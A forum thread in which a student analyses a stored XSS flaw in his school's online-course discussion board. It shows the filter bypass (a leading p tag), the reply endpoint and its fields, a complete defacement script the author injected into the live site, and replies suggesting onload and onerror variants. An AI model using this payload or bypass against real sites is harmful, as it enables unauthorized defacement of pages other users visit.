吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 12704|回复: 59
收起左侧

[Web逆向] 【接上次的帖子】学校网课平台的XSS漏洞简单分析

  [复制链接]
jidesheng6 发表于 2020-3-20 17:10
本帖最后由 jidesheng6 于 2020-3-20 19:13 编辑

漏洞的成因

也不知道算不算漏洞,就是一个XSS攻击,请大佬指正

  • 这个漏洞是因为在提交讨论信息的时候,为了不实现自动换行,程序员直接从用户提交的文本里面加上p标签和br标签导致的
  • 如果直接直接提交恶意代码,是被禁止的,但是因为它的p标签是允许的,个人猜测是只检测开头是不是p标签,导致被利用的

实战利用

  • 主要分析有如下几步:

    • 当前页面的DOM结构分析
    • 提交的URL地址
    • 提交的中的参数
  • 首先来看看讨论的地址:

    • forumdiscussion/title?forumDiscussionId=bb1b974ab5be4ccc889da292ed625417&courseVersionId=8398e23855d44cbdbe60109e52e54121&forumDetailFlag=1
    • 上面的DiscussionID和courseversioionID是我们需要记下来的

  • 提交讨论回复的接口

    • forumdiscussion/insertReplies?forumDiscussionId=1ee176964bcd4bd3830b040e4c2a2355&courseVersionId=8398e23855d44cbdbe60109e52e54121
    • 提交方法:POST

    • 提交表单如下:

    • richText:这里提交用户填入的文本
      postAttachment:无内容
      message:这里是经过处理的文本,要展示在讨论的页面中,会带有<p>和<br>标签,如果不带页面在外面看着就会排版错乱,估计这就是他们为啥要带标签提交吧
    • 还需要携带用户Cookie一起提交给服务器

  • 浏览器中讨论页面学生答案的DOM结构

    • <span class="message">
      <p>1、楚怀王<br></p>
      <p>2、靠海,盐比较多;江苏盐城湿地珍禽国家级自然保护区 江苏大丰麋鹿国家级自然保护区。</p>
      </span>
    • p标签和br标签都是提交的时候自动存在的,是把学生输入信息处理以后带标签上传展示

    • 经过多次试验,如果只携带script标签服务器会提示禁止,但是如果加入p标签在开头,再输入script标签就不会提示禁止,且根据浏览器的容错性,script标签只要输入一个就可以了,请看下面我提交以后的DOM结构

    • <span class="message">
        <p>本站存在XSS注入漏洞,评论上方会出现一个熊猫头表情包以及带链接的文字,请尽快修复
      <script id="0ad4f5d4ed8244fa8830deb4460e04281584694088000">
      var m=document.getElementById("titleForum");
      var p = document.createElement("img");
      m.append(p);p.style="height:400px";
      p.src='';
      var c = document.createElement("a");
      m.append(c);
      c.text="本站存在XSS漏洞,现已注入";
      c.style='font-size:70px';
      c.href='';
      var o=document.getElementById("title");
      o.remove();
      var i = $(".issuerLocation");
      i[0].remove();
      var n = $("#forumMessage");
      n.remove();
      $("#replys").remove();
      $(".timeLine")[0].remove();
      var e=$("#courseheadTab");
      e.html("<div style=font-size:35px;color:red;text-align:center>本站已经被XSS脚本注入攻击请及时修复</div>");
      </script>
        </p>
      </span>
    • 所以只要学生打开这个页面脚本就会加载修改当前页面的内容

    • 这个应该是存储型XSS还是DOM型我也不清楚,因为只要我删除了这个回复,页面就可以正常显示,还请大佬指点,嘿嘿

    结语

    我没有对学校网站进行任何破坏性操作,评论删除页面都会恢复的,给两个图看一下提交后的结果

    • 0x01
    • 0x01.png
    • 0x02
    • 0x02.png

    修复建议:应该对整个文本进行有无script标签检测,或者把提交过去的标签进行HTML实体转义。

    不过我感觉我们学校根本不会管这个,我就发到这里来记录一下

免费评分

参与人数 9吾爱币 +14 热心值 +5 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
pwp + 1 我很赞同!
?bugme + 1 我很赞同!
lin4578 + 1 厉害了
hztyx + 1 用心讨论,共获提升!
轻冬云 + 1 + 1 用心讨论,共获提升!
iPhone8Plus + 2 + 1 用心讨论,共获提升!
zx2000 + 1 牛B
通途 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

涛之雨 发表于 2020-3-21 09:19
给p标签加一个onload也是个很好的选择,只不过要把js全都写在标签里。。。。。。太难受了。
如果允许上传图片,可以给一个假的不存在的src,然后给一个onerror。。。。
不过允许上传图片的话应该就不会绕这么大个圈了吧,。。。。
此外日常吐槽la圾chao星。。。
js一堆bug,天天爆红。。。
额貌似修复了几个?=_=
咋只剩一个了?
err.png
下面这个是之前吐槽聊天时的截图
QQ图片20200321091623.png
四个全都是他自己的js。。。
还有那个引入的ext插件脚本。。。
各种错误。不是变量重定义,就是没加换行分号,在不就是不加括号。
反正本来准备引入他的js结果扔到tampermonkey,整个插件都用不了了。。。。
害得我还要自己分析555555555555
 楼主| jidesheng6 发表于 2020-3-20 17:55
895515845 发表于 2020-3-20 19:08
本帖最后由 895515845 于 2020-3-20 19:14 编辑

太强了吧,楼主是这方面的专业吗
 楼主| jidesheng6 发表于 2020-3-20 21:06
iPhone8Plus 发表于 2020-3-20 20:43
这波操作很Nice。提交数据时 通过浏览器或F抓包 获得接口 然后定点改message参数 放行提交的吗?

得到接口,然后postman提交,f也可以,我没用到,哈哈。
橘子树先生 发表于 2020-3-20 17:58
网络安全最有效手段是法律,不是技术。
XinSong 发表于 2020-3-20 17:13
大佬~,好奇你们学的时候怎么清楚自己要学啥
霸气侧漏m2 发表于 2020-3-20 17:28
江苏开放大学
一个陌生男人 发表于 2020-3-20 17:34
值得学习
阿甘阿Q 发表于 2020-3-20 18:00
向大神学习
叁先生 发表于 2020-3-20 18:20
大哥你不打码,小心网站被伦
 楼主| jidesheng6 发表于 2020-3-20 18:27
叁先生 发表于 2020-3-20 18:20
大哥你不打码,小心网站被伦

不会,需要携带登录cookie才可以进行一些数据操作
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 16:33

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表